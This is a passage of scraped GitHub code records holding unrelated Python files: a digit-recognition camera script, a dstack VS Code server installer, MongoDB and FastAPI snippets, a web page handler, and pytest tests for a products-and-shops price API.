SOLID_PASSWORD)\n    print( f\"*       ... DONE\")\n\n    profile_url = f\"{SOLID_POD_ENDPOINT}/public/ecolytiq-sustainability-profile/\" + profile_name + \".ttl\"\n    resp = api.get(profile_url)\n\n    g = Graph()\n    g.parse(data=resp.text, format=\"turtle\")\n\n    layer_weights = {}\n\n    for s, p, o in g:\n\n        #print(s, p, o)\n\n        parts = s.split(\"weight_for_layer_\")\n\n        if parts[0] == \"http://geoqb.com/layer/general#\":\n            layer_weights[parts[1]] = float(o.value)\n            print( str(parts[1]) + \" => \" + str( layer_weights[parts[1]] ) )\n\n    print( \"Profile loading done.\" )\n\n    return layer_weights\n\n\n\n\n", "repo_name": "GeoQB/geoqb", "sub_path": "pyGeoQB/geoanalysis/geoqb/geoqb_profiles.py", "file_name": "geoqb_profiles.py", "file_ext": "py", "file_size_in_byte": 6484, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ssl._create_default_https_context", "line_number": 2, "usage_type": "attribute"}, {"api_name": "ssl._create_unverified_context", "line_number": 2, "usage_type": "attribute"}, {"api_name": "ssl.create_default_context", "line_number": 3, "usage_type": "call"}, {"api_name": "httpx.Client", "line_number": 19, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 136, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 137, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 137, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 139, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 140, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 140, "usage_type": "attribute"}, {"api_name": "solid.solid_api.SolidAPI", "line_number": 153, "usage_type": "call"}, {"api_name": "rdflib.Graph", "line_number": 157, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 160, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 165, "usage_type": "call"}, {"api_name": "rdflib.RDF.value", "line_number": 166, "usage_type": "attribute"}, {"api_name": "rdflib.RDF", "line_number": 166, "usage_type": "name"}, {"api_name": "rdflib.Literal", "line_number": 166, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 178, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 179, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 189, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 189, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 190, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 190, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 192, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 192, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 193, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 193, "usage_type": "attribute"}, {"api_name": "solid.solid_api.SolidAPI", "line_number": 206, "usage_type": "call"}, {"api_name": "rdflib.Graph", "line_number": 213, "usage_type": "call"}]}
{"seq_id": "40373047406", "text": "\nimport numpy as np\nimport pandas as pd\nimport cv2\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import recall_score, precision_score, f1_score\nfrom sklearn.svm import SVC\n\ndf = pd.read_csv('camera.csv',sep=\",\")\nX = df.values[0:10000,1:]\nY = df.values[:,0]\n\nXtrain, Xtest, ytrain, ytest = train_test_split(X, Y, test_size=0.10, random_state=42)\nprint('X',X.shape)\nprint('Xtrain',Xtrain.shape)\nprint('Xtest',Xtest.shape)\n\n\n\nmodel = SVC(random_state=42)\nmodel.fit(Xtrain,ytrain)\nypred = model.predict(Xtest)\nprint(Xtrain.shape, Xtest.shape, len(ytrain), len(ytest))\nprint('accuracy_score',accuracy_score(ytest,ypred))\nprint('Samples:',len(ytest))\nprint('Correct predictions:', np.sum(ytest==ypred))\nprint('macro-precision:',precision_score(ytest,ypred,average='macro'))\nprint('macro-recall:',recall_score(ytest,ypred,average='macro'))\nprint('macro-f1:',f1_score(ytest,ypred,average='macro'))\n\n\ndef function(img):\n    \n    gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n    gray = cv2.GaussianBlur(gray,(15,15),400)\n    ret, imgT = cv2.threshold(gray,150,255,cv2.THRESH_BINARY_INV)\n    contours, hierarchy = cv2.findContours(imgT.copy(),cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n    rectangles = [cv2.boundingRect(contour) for contour in contours]\n    cont = 0\n    for rect in rectangles:\n        datasetTestCamera = []\n        if (rect[2] > 50 and rect[3]>50) and (rect[2] < 600 and rect[3]<600): \n            imgn = img[ rect[1]:rect[1]+rect[3] , rect[0]:rect[0]+rect[2]]\n            cont+=1\n            img_hsv = cv2.cvtColor(imgn, cv2.COLOR_BGR2HSV)\n\n            \n            lower = np.array([0,0,0])\n            upper = np.array([179,255,127])\n            mask = cv2.inRange(img_hsv, lower, upper) \n            \n            mask = cv2.resize(mask, (28, 28), interpolation=cv2.INTER_AREA)\n            cv2.imshow(\"Imagen nueva\", mask)   \n            # Vectorizar la imagen\n            rows,cols = mask.shape\n\n            X=[]\n            # #Add pixel one-by-one into data Array.\n            for i in range(rows):\n\t            for j in range(cols):\n\t                k = mask[i,j]\n\t                if k>100:\n\t        \t        k=1\n\t                else: \n\t        \t        k=0\t\n\t                X.append(k)\n            \n            \n\n            # Hue | Value | Saturation\n            # 24  |  92   |  156\n            # 100 |  234  |  234\n\n            \n            ypred = model.predict([X])\n            print(\"-----------Imagen camara: \",ypred,\"-----------\")\n            print(X)\n            cv2.imwrite('CameraImages/img'+str(cont)+'.png',mask)            \n\n            # Clasificar la imagen\n            cv2.rectangle(img, (rect[0],rect[1]),(rect[0]+rect[2],rect[1]+rect[3]), (0,255,0),2)\n            cv2.putText(img, str(ypred), (rect[0], rect[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, (200, 0, 0), 3, cv2.LINE_AA)\n \n    return img\n\n\ncam = cv2.VideoCapture(0)\nwhile True:\n    val,img = cam.read()\n    img = function(img)\n    cv2.imshow(\"Imagen\", img)\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\n\n'''\ncaptura = cv2.VideoCapture('videoBilletes4.MOV')\nwhile (captura.isOpened()):\n  ret, img = captura.read()\n\n  img = function(img)\n\n  if ret == True:\n    cv2.imshow('video', img)\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n      break\n  else:\n    break\ncaptura.release()\ncv2.destroyAllWindows()\n'''\n######DIGIT RECOGNITION#########\n", "repo_name": "josearvizu/MachineLearning", "sub_path": "digitRecognition/CameraRead.py", "file_name": "CameraRead.py", "file_ext": "py", "file_size_in_byte": 3446, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "26026160971", "text": "import subprocess\nfrom typing import List, Optional\n\nfrom dstack._internal.cli.utils.common import console\nfrom dstack._internal.configurators.extensions import IDEExtension\nfrom dstack._internal.core.plan import RunPlan\n\n\nclass VSCodeDesktop(IDEExtension):\n    def __init__(\n        self,\n        extensions: List[str],\n        version: Optional[str] = None,\n        run_name: Optional[str] = None,\n        run_plan: Optional[RunPlan] = None,\n    ):\n        self.extensions = extensions\n        if version is None:\n            version = self._detect_code_version()\n        if version is None and run_plan is None:\n            console.print(\n                \"[grey58]Unable to detect the VS Code version and pre-install extensions. \"\n                \"Fix by opening [sea_green3]Command Palette[/sea_green3], executing [sea_green3]Shell Command: \"\n                \"Install 'code' command in PATH[/sea_green3], and restarting terminal.[/]\\n\"\n            )\n        self.version = version\n        self.run_name = run_name\n\n    def get_install_commands(self) -> List[str]:\n        commands = []\n        if self.version is not None:\n            url = f\"https://update.code.visualstudio.com/commit:{self.version}/server-linux-$arch/stable\"\n            archive = \"vscode-server-linux-$arch.tar.gz\"\n            target = f'~/.vscode-server/bin/\"{self.version}\"'\n            commands.extend(\n                [\n                    f'if [ $(uname -m) = \"aarch64\" ]; then arch=\"arm64\"; else arch=\"x64\"; fi',\n                    f\"mkdir -p /tmp\",\n                    f'wget -q --show-progress \"{url}\" -O \"/tmp/{archive}\"',\n                    f\"mkdir -vp {target}\",\n                    f'tar --no-same-owner -xz --strip-components=1 -C {target} -f \"/tmp/{archive}\"',\n                    f'rm \"/tmp/{archive}\"',\n                ]\n            )\n            if self.extensions:\n                extensions = \" \".join(f'--install-extension \"{name}\"' for name in self.extensions)\n                commands.append(f'PATH=\"$PATH\":{target}/bin code-server {extensions}')\n        return commands\n\n    def get_install_if_not_found_commands(self) -> List[str]:\n        commands = []\n        if self.version is not None:\n            install_commands = \" && \".join(self.get_install_commands())\n            commands.append(\n                f'if [ ! -d ~/.vscode-server/bin/\"{self.version}\" ]; then {install_commands}; fi'\n            )\n        return commands\n\n    def get_print_readme_commands(self) -> List[str]:\n        return [\n            f\"echo To open in VS Code Desktop, use link below:\",\n            f\"echo ''\",\n            f\"echo '  vscode://vscode-remote/ssh-remote+{self.run_name}/workflow'\",\n            f\"echo ''\",\n        ]\n\n    @classmethod\n    def _detect_code_version(cls, exe: str = \"code\") -> Optional[str]:\n        try:\n            run = subprocess.run([exe, \"--version\"], capture_output=True)\n        except FileNotFoundError:\n            return None\n        if run.returncode == 0:\n            return run.stdout.decode().split(\"\\n\")[1].strip()\n        return None\n", "repo_name": "silvacarl2/dstack", "sub_path": "cli/dstack/_internal/configurators/extensions/vscode.py", "file_name": "vscode.py", "file_ext": "py", "file_size_in_byte": 3056, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "dstack._internal.configurators.extensions.IDEExtension", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 15, "usage_type": "name"}, {"api_name": "dstack._internal.core.plan.RunPlan", "line_number": 15, "usage_type": "name"}, {"api_name": "dstack._internal.cli.utils.common.console.print", "line_number": 21, "usage_type": "call"}, {"api_name": "dstack._internal.cli.utils.common.console", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 59, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 70, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 68, "usage_type": "name"}]}
{"seq_id": "7562517458", "text": "import pymongo\nuri = \"mongodb://127.0.0.1:27017\" #default address for mongo db on the local machine ##Universal Resource Identifier\nclient = pymongo.MongoClient(uri)\ndatabase=client['fullstack'] #name of db in Mongo\ncollection=database['students']\nstudents = [someone['mark'] for someone in collection.find({}) if someone['mark']==100.0] # get list with specific elements and values\n#students = [someone['mark'] for someone in collection.find({})] - get a value from the one element\n#students = [student for student in collection.find({})]  -list comprehension\n#  It's the same as:\n#students = collection.find({}) #cursor object db\n#student_list =[]\n#for student in students:\n    #student_list.append(student)\nprint (students)\n", "repo_name": "MarkLouren/EDU-PythonPrograms", "sub_path": "28-Udemy-CompletePythonCourse-Mongo+ListComprehension.py", "file_name": "28-Udemy-CompletePythonCourse-Mongo+ListComprehension.py", "file_ext": "py", "file_size_in_byte": 727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymongo.MongoClient", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "6183553684", "text": "from fastapi import FastAPI, File, UploadFile, Form\n\napp = FastAPI()\n\n\n@app.post('/file')\ndef _file_upload(\n        my_file: UploadFile = File(...),\n        first: str = Form(...),\n        second: str = Form(\"default value  for second\"),\n):\n    return {\n        \"name\": my_file.filename,\n        \"first\": first,\n        \"second\": second\n    }\n", "repo_name": "jerinkantony/server_client1", "sub_path": "fastapi_server.py", "file_name": "fastapi_server.py", "file_ext": "py", "file_size_in_byte": 343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fastapi.FastAPI", "line_number": 3, "usage_type": "call"}, {"api_name": "fastapi.UploadFile", "line_number": 8, "usage_type": "name"}, {"api_name": "fastapi.File", "line_number": 8, "usage_type": "call"}, {"api_name": "fastapi.Form", "line_number": 9, "usage_type": "call"}, {"api_name": "fastapi.Form", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "800290625", "text": "'''\nCreated on 30/07/2014\n\n@author: Ismail Faizi\n'''\n\nfrom common import AuthorizedPage\nfrom models.utils import AwareParameters\nimport datetime\n\nclass ParametersPage(AuthorizedPage):\n    \n    def __init__(self, request, response):\n        AuthorizedPage.__init__(self, 'parameters.html', request, response)\n    \n    def handleGetRequest(self):\n        self.addCommon()\n        self.setActivePage('Parameters')\n        \n    def handlePostRequest(self):\n        tou = self.request.get('tou', None)\n        \n        if tou:\n            # Save terms update\n            date_time = None\n            try:\n                date_time = datetime.datetime.strptime(tou, '%d/%m/%Y')\n            except ValueError:\n                self.addMessage('The specified date is not valid.', self.MSG_TYPE_ERROR)\n            \n            if date_time:\n                params = AwareParameters.get_instance()\n                params.update_tou(date_time)\n                \n                self.addMessage('The update date of Terms of Use was updated successfully.', self.MSG_TYPE_SUCCESS)\n        \n        self.addCommon()\n        self.setActivePage('parameters')\n            \n    def addCommon(self):\n        # get the parameters\n        params = AwareParameters.get_instance()\n        \n        self.addTemplateValue('parameters', params)\n        ", "repo_name": "shubashri/src", "sub_path": "ui/parameters.py", "file_name": "parameters.py", "file_ext": "py", "file_size_in_byte": 1324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "common.AuthorizedPage", "line_number": 11, "usage_type": "name"}, {"api_name": "common.AuthorizedPage.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "common.AuthorizedPage", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.utils.AwareParameters.get_instance", "line_number": 32, "usage_type": "call"}, {"api_name": "models.utils.AwareParameters", "line_number": 32, "usage_type": "name"}, {"api_name": "models.utils.AwareParameters.get_instance", "line_number": 42, "usage_type": "call"}, {"api_name": "models.utils.AwareParameters", "line_number": 42, "usage_type": "name"}]}
{"seq_id": "41356129340", "text": "import pytest\nfrom app.models import User\nfrom tests.utils import *\nfrom tests import data\nimport json\n\n\nclass TestBasic(object):\n\n    @staticmethod\n    def user1_token():\n        return User.query.filter(User.username == data.users[1]['username']).first().token\n\n    @staticmethod\n    def user1():\n        return data.users[1]\n\n    @pytest.mark.parametrize(\"user_data\", data.users)\n    def test_register(self, client, user_data):\n        rv = client.post(url_for('/register'))\n        assert rv.status_code == 400\n        \n        rv = client.post(url_for('/register'), data=user_data)\n        assert rv.status_code == 200\n        assert User.query.filter(User.username == user_data['username']).first() is not None\n        assert User.query.filter(User.username == user_data['username']).first().verify_password(user_data['password'])\n        assert User.query.filter(User.username == user_data['username']).first().is_admin is False\n        assert User.query.filter(User.username == user_data['username']).first().token is None\n\n        rv = client.post(url_for('/register'), data=user_data)\n        assert rv.status_code == 400\n\n    def test_login(self, client):\n        rv = client.post(url_for('/login'))\n        assert rv.status_code == 400\n\n        rv = client.post(url_for('/login'), data=self.user1())\n        assert rv.status_code == 200\n        assert rv.json['token'] == User.query.filter(User.username == data.users[1]['username']).first().token\n\n    @pytest.mark.parametrize(\"product_data\", data.products)\n    def test_add_product(self, client, product_data):\n        rv = client.post(\n            url_for('/products'),\n            headers=auth_header(self.user1_token()),\n            data=product_data\n        )\n        assert rv.status_code == 200\n        valid_response(product_data, rv.json)\n\n    def test_list_products(self, client):\n        rv = client.get(\n            url_for('/products'),\n            query_string={\n                'start': 0,\n                'count': 10,\n                'status': 'ACTIVE',\n                'sort': 'id|ASC'\n            },\n            headers=auth_header(self.user1_token())\n        )\n\n        assert rv.status_code == 200\n        assert rv.json['start'] == 0\n        assert rv.json['count'] == 10\n        assert rv.json['total'] == 2\n        assert len(rv.json['products']) == 2\n        for i, product in enumerate(data.products):\n            valid_response(product, rv.json['products'][i])\n\n    def test_update_product(self, client):\n        prod1upd = data.products[0].copy()\n        prod1upd.update({\n            \"name\": 'bar-foo',\n            \"description\": '4217a'\n        })\n\n        rv = client.put(\n            url_for(\"/products/1\"),\n            headers=auth_header(self.user1_token()),\n            data=prod1upd\n        )\n\n        assert rv.status_code == 200\n        valid_response(prod1upd, rv.json)\n\n    def test_get_product(self, client):\n        rv = client.get(\n            url_for(\"/products/2\"),\n            headers=auth_header(self.user1_token())\n        )\n\n        assert rv.status_code == 200\n        valid_response(data.products[1], rv.json)\n\n    def test_patch_product(self, client):\n        prod2patch = data.products[1].copy()\n        prod2patch.update({'tags': ['nope']})\n        rv = client.patch(\n            url_for(\"/products/2\"),\n            headers=auth_header(self.user1_token()),\n            data={'tags': prod2patch['tags']}\n        )\n\n        assert rv.status_code == 200\n        valid_response(prod2patch, rv.json)\n\n    def test_delete_product(self, client):\n        rv = client.delete(\n            url_for(\"/products/2\"),\n            headers=auth_header(self.user1_token())\n        )\n\n        assert rv.status_code == 200\n        assert rv.json['message'] == \"OK\"\n\n    @pytest.mark.parametrize(\"shop_data\", data.shops)\n    def test_add_shop(self, client, shop_data):\n        rv = client.post(\n            url_for('/shops'),\n            headers=auth_header(self.user1_token()),\n            data=shop_data\n        )\n\n        assert rv.status_code == 200\n        valid_response(shop_data, rv.json)\n\n    def test_list_shops(self, client):\n        rv = client.get(\n            url_for('/shops'),\n            query_string={\n                'start': 0,\n                'count': 10,\n                'status': 'ACTIVE',\n                'sort': 'id|ASC'\n            },\n            headers=auth_header(self.user1_token())\n        )\n\n        assert rv.status_code == 200\n        assert rv.json['start'] == 0\n        assert rv.json['count'] == 10\n        assert rv.json['total'] == 2\n        assert len(rv.json['shops']) == 2\n        for i, shop_data in enumerate(data.shops):\n            valid_response(shop_data, rv.json['shops'][i])\n\n    def test_update_shop(self, client):\n        shop1upd = data.shops[0].copy()\n        shop1upd.update({\n            \"name\": 'baz-foo',\n            \"lng\": 420\n        })\n\n        rv = client.put(\n            url_for(\"/shops/1\"),\n            headers=auth_header(self.user1_token()),\n            data=shop1upd\n        )\n\n        assert rv.status_code == 200\n        valid_response(shop1upd, rv.json)\n\n    def test_get_shop(self, client):\n        rv = client.get(\n            url_for(\"/shops/2\"),\n            headers=auth_header(self.user1_token())\n        )\n\n        assert rv.status_code == 200\n        valid_response(data.shops[1], rv.json)\n\n    def test_patch_shop(self, client):\n        shop2patch = data.shops[1].copy()\n        shop2patch.update({'lat': 99})\n        rv = client.patch(\n            url_for(\"/shops/2\"),\n            headers=auth_header(self.user1_token()),\n            data={'lat': shop2patch['lat']}\n        )\n\n        assert rv.status_code == 200\n        valid_response(shop2patch, rv.json)\n\n    def test_delete_shop(self, client):\n        rv = client.delete(\n            url_for(\"/shops/2\"),\n            headers=auth_header(self.user1_token())\n        )\n\n        assert rv.status_code == 200\n        assert rv.json['message'] == \"OK\"\n\n    def test_logout(self, client):\n\n        rv = client.post(url_for('/logout'))\n        assert rv.status_code == 403\n\n        rv = client.post(url_for('/logout'), headers=auth_header(self.user1_token()))\n\n        assert rv.status_code == 200\n        assert not self.user1_token()\n        assert rv.json['message'] == \"OK\"\n\n\nwith open('test-data.json') as f:\n        RDATA = json.load(f)\n\n\n@pytest.mark.usefixtures('root')\nclass TestRobot(object):\n    token = None\n    productIds = []\n    shopIds = []\n\n    def test_login(self, client):\n        rv = client.post(url_for('/login'), data={\n            'username': 'root',\n            'password': 'root'\n        })\n        assert rv.status_code == 200\n        assert rv.json['token'] == self.root_token()\n        TestRobot.token = rv.json['token']\n\n    @staticmethod\n    def root_token():\n        return User.query.filter(User.username == 'root').first().token\n\n    @pytest.mark.parametrize(\"product\", RDATA['products'])\n    def test_post_product(self, client, product):\n        rv = client.post(\n            url_for('/products'),\n            headers=auth_header(TestRobot.token),\n            data=product\n        )\n        assert rv.status_code == 200\n        valid_response(product, rv.json)\n        assert not rv.json['withdrawn']\n        TestRobot.productIds.append(rv.json['id'])\n\n    @pytest.mark.parametrize(\"query\", RDATA['products_queries'])\n    def test_get_product(self, client, query):\n        rv = client.get(\n            url_for('/products'),\n            query_string=query,\n            headers=auth_header(TestRobot.token)\n        )\n        assert rv.status_code == 200\n        assert rv.json['start'] == 0\n        assert rv.json['total'] == len(query['results'])\n        assert query['results'] == [x['name'] for x in rv.json['products']]\n\n    @pytest.mark.parametrize(\"shop\", RDATA['shops'])\n    def test_post_shop(self, client, shop):\n        rv = client.post(\n            url_for('/shops'),\n            headers=auth_header(TestRobot.token),\n            data=shop\n        )\n        assert rv.status_code == 200\n        valid_response(shop, rv.json)\n        assert not rv.json['withdrawn']\n        TestRobot.shopIds.append(rv.json['id'])\n\n    @pytest.mark.parametrize(\"query\", RDATA['shops_queries'])\n    def test_get_shops(self, client, query):\n        rv = client.get(\n            url_for('/shops'),\n            query_string=query,\n            headers=auth_header(TestRobot.token)\n        )\n        assert rv.status_code == 200\n        assert rv.json['start'] == 0\n        assert rv.json['total'] == len(query['results'])\n        assert query['results'] == [x['name'] for x in rv.json['shops']]\n\n    @pytest.mark.parametrize(\"price\", RDATA['prices'])\n    def test_post_price(self, client, price):\n        price['productId'] = TestRobot.productIds[price['productIndex']]\n        price['shopId'] = TestRobot.productIds[price['shopIndex']]\n        rv = client.post(\n            url_for('/prices'),\n            headers=auth_header(TestRobot.token),\n            data=price\n        )\n        assert rv.status_code == 200\n        for pr in rv.json['prices']:\n            assert pr['price'] == price['price']\n            assert pr['shopId'] == price['shopId']\n            assert pr['productId'] == price['productId']\n\n    @pytest.mark.parametrize(\"query\", RDATA['prices_queries'])\n    def test_get_shops(self, client, query):\n        query['shops'] = [TestRobot.shopIds[x] for x in query['shopIndexes']]\n        query['products'] = [TestRobot.productIds[x] for x in query['productIndexes']]\n        rv = client.get(\n            url_for('/prices'),\n            query_string=query,\n            headers=auth_header(TestRobot.token)\n        )\n        assert rv.status_code == 200\n        assert rv.json['start'] == query['results']['start']\n        assert rv.json['count'] == query['results']['count']\n        assert rv.json['total'] == query['results']['total']\n        for resp, real in zip(rv.json['prices'], query['results']['prices']):\n            assert resp['price'] == real['price']\n            assert resp['date'] == real['date']\n            assert resp['shopId'] == TestRobot.shopIds[real['shopIndex']]\n            assert resp['productId'] == TestRobot.shopIds[real['productIndex']]\n\n    def test_logout(self, client):\n        rv = client.post(\n            url_for('/logout'),\n            headers=auth_header(TestRobot.token)\n        )\n        assert rv.status_code == 200\n        assert not self.root_token()\n", "repo_name": "imarmanis/ntua-softeng", "sub_path": "backend/tests/test_basic.py", "file_name": "test_basic.py", "file_ext": "py", "file_size_in_byte": 10452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.models.User.query.filter", "line_number": 12, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 12, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 12, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 12, "usage_type": "attribute"}, {"api_name": "tests.data.users", "line_number": 12, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 12, "usage_type": "name"}, {"api_name": "tests.data.users", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 16, "usage_type": "name"}, {"api_name": "app.models.User.query.filter", "line_number": 25, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 25, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.models.User.query.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 26, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.models.User.query.filter", "line_number": 27, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 27, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.models.User.query.filter", "line_number": 28, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 28, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 18, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tests.data.users", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 18, "usage_type": "name"}, {"api_name": "app.models.User.query.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 39, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 39, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tests.data.users", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 39, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 41, "usage_type": "attribute"}, {"api_name": "tests.data.products", "line_number": 41, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 41, "usage_type": "name"}, {"api_name": "tests.data.products", "line_number": 68, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 68, "usage_type": "name"}, {"api_name": "tests.data.products", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 72, "usage_type": "name"}, {"api_name": "tests.data.products", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 94, "usage_type": "name"}, {"api_name": "tests.data.products", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 97, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 117, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tests.data.shops", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 117, "usage_type": "name"}, {"api_name": "tests.data.shops", "line_number": 145, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 145, "usage_type": "name"}, {"api_name": "tests.data.shops", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 149, "usage_type": "name"}, {"api_name": "tests.data.shops", "line_number": 171, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 171, "usage_type": "name"}, {"api_name": "tests.data.shops", "line_number": 174, "usage_type": "attribute"}, {"api_name": "tests.data", "line_number": 174, 